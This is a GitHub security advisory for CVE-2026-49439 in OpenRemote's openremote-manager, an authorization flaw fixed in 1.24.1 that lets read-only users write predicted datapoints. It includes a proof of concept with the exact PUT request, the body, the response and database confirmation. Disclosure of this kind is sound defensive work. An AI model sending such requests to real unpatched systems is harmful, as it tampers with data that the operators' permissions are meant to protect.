GitHub Advisoryadvisory · Maven
GHSA-xj53-j257-hxvg OpenRemote read-only asset users can write predicted datapoints
MEDIUM
Official page ↗
- Aliases
- CVE-2026-49439
- Ecosystem
- Maven
- Packages
- io.openremote:openremote-manager
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- Weaknesses
- CWE-862
- Reviewed
- 2026-07-06
Affected packages
• Maven io.openremote:openremote-manager: < 1.24.1 → fixed in 1.24.1
Description
Summary
The predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints.
The endpoint:
```text
PUT /api/{realm}/asset/predicted/{assetId}/{attributeName}
```
accepts write requests from users lacking `write:assets`.
The implementation appears to check `READ_ASSETS` while performing a write operation through:
```java
assetPredictedDatapointService.updateValues(...)
```
PoC
A user was created with only:
```text
read:assets
```
and without `write:assets`.
The following request succeeded:
```http
PUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature
```
Request body:
```json
[{"x":1779199999001,"y":1337}]
```
Response:
```text
HTTP/2 204
```
Database verification confirmed the datapoint was written successfully:
```text
entity_id: 4Fr8Pcp7iDjrEmoSUFolvT
attribute_name: temperature
value: 1337
```
Impact
Users with read-only asset permissions can modify predicted datapoints for assets.
Related
Alias · CVE (1)
- CVE-2026-49439 OpenRemote is an open-source internet-of-things platform. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness